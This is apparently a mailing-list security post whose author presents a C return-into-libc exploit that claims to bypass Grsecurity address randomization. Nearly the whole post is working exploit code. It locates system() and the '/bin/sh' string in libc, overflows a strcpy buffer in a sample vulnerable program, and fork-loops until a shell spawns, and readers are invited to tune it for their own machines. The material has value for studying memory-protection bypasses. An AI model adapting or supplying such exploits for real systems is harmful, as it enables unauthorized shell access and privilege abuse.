[SA-03] Example of Grsecurity protection avoid.

[adam () pinkhat org]

I'm proud to introduce an example of return into libc exploit which works though grsecurity patch protection.

Please read source carefully and change some lines cause default version probably wont work on your machine.

-> This is example, remember it. ;)

/*
 * Grsecurity bypass tryout - system("/bin/sh"); return into libc technique.
 * Read source cause this is only an example. 
 * ---
 *  
 * The simplest vulnerable program which was used to tests:
 * 
 * int main(int argc, char *argv[])
 * {
 *         char data[5];
 *
 *         if(argc>1)
 *              strcpy(data,argv[1]);
 *         return 0;
 * }
 *
 * Successfully tested under,
 * - Linux Kernel |2.4.31| with Grsecurity patch |2.6.1|
 * - GCC 3.3.6
 * - LIBC 2.3.5-stable
 *
 * Attack time depends on your computer speed.
 * 
 *
 * Nikomu nie dziekuj, nikomu nie ufaj, licz tylko na siebie.
 * ---
 * Adam Simuntis <adam () pinkhat org>
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/utsname.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <linux/utsname.h>
#include <dlfcn.h>

//It is not constant value! Calculate for your system.
//If you dont know how, just leave.
#define offset 0x4000


//Space needed for overflow with system() and /bin/sh address.
#define ADDRESS_SPACE 16
#define PATH "./vuln"
#define SIZE 28
#define LIBC_TESTED "2.3.5"

#define GRSEC

char* get_sysname(void) 
{
                char *uts;
                uts = malloc(sizeof(struct utsname));
                
                uname((struct utsname*)uts);
                return uts;
}

int main()
{
        register int  pid;

        int status,
            size = 0,
            s = 0,
            i = 0;
        
        unsigned long sh, 
                      shell,
                      ss=0,
                      addr=0,
                      sys_addr=0;

        struct new_utsname *uts;

        char *buffer,
             *libc_ver,
             *libc_rel,
             *path = PATH;
        
        void *libc;
        void (*system)();

        libc_ver = (char*)gnu_get_libc_version();
        libc_rel = (char*)gnu_get_libc_release();
        
        if(libc=dlopen("/lib/libc.so.6",RTLD_LAZY))
        {
                system = dlsym(libc,"system");
                ss = (int)system;
                addr = (int)system - offset;
        }
        
        uts = (struct new_utsname*)get_sysname();                               
        size = SIZE;

        printf("# Return into libc exploit by Adam Simuntis <adam () pinkhat org> |an example|\n"
               "# Gathering info..\n");
        
        s=size+ADDRESS_SPACE;
        buffer = malloc(s);
        sh = addr;
        while(memcmp((void*)sh,"/bin/sh",8))
                sh++;

        shell = sh - offset;
        sys_addr = ss - offset;

        printf("\tLIBC: %s-%s\n",libc_ver,libc_rel);
        
        printf("\t- got sysname: %s %s\n"
                        "\t- got system() addr: 0x%x\n"
                        "\t- got /bin/sh addr: 0x%x\n"
                        "\t~ system() - offset @: 0x%x\n"
                        "\t~ /bin/sh - offset @: 
0x%x\n",uts->sysname,uts->release,(int)ss,(int)sh,(int)sys_addr,(int)shell);


        if(strcmp(libc_ver,LIBC_TESTED))
                printf("# Warning: Libc version %s was not tested. Program may not work correctly.\n",libc_ver);
        
        printf("# Press enter to proceed attack or ctrl+c to cancel.");
        getchar();

#ifdef GRSEC
        printf("# Bypassing grsecurity protection\n\t~ wait for shell\n");
#endif
        
        for(i = 0; i < s; i++)
                buffer[i]='\x6e'; 
                
        *(long *)&buffer[s-16] = addr;
        *(long *)&buffer[s-12] = addr;
        *(long *)&buffer[s-4] = shell;

//Waiting for address repeat 
#ifdef GRSEC    
        while(1)
        {
                pid = fork();
                if(pid == 0)
                {
                        execl(path,path,buffer,0x00);
                }
                if(pid>0)
                {
                        waitpid(pid,&status,WUNTRACED);
                        if(status == 0)
                                break;
                }
                if(pid<0)
                {
                        printf("# Exploit failed. (resources)\n");
                        exit(1);
                }
        }
#else
        execl(path,path,buffer,0x00);
#endif
        free(buffer);
        return 0;
}

Here is prove of successful attack:
http://satfilm.pl/~n30n/grsec.png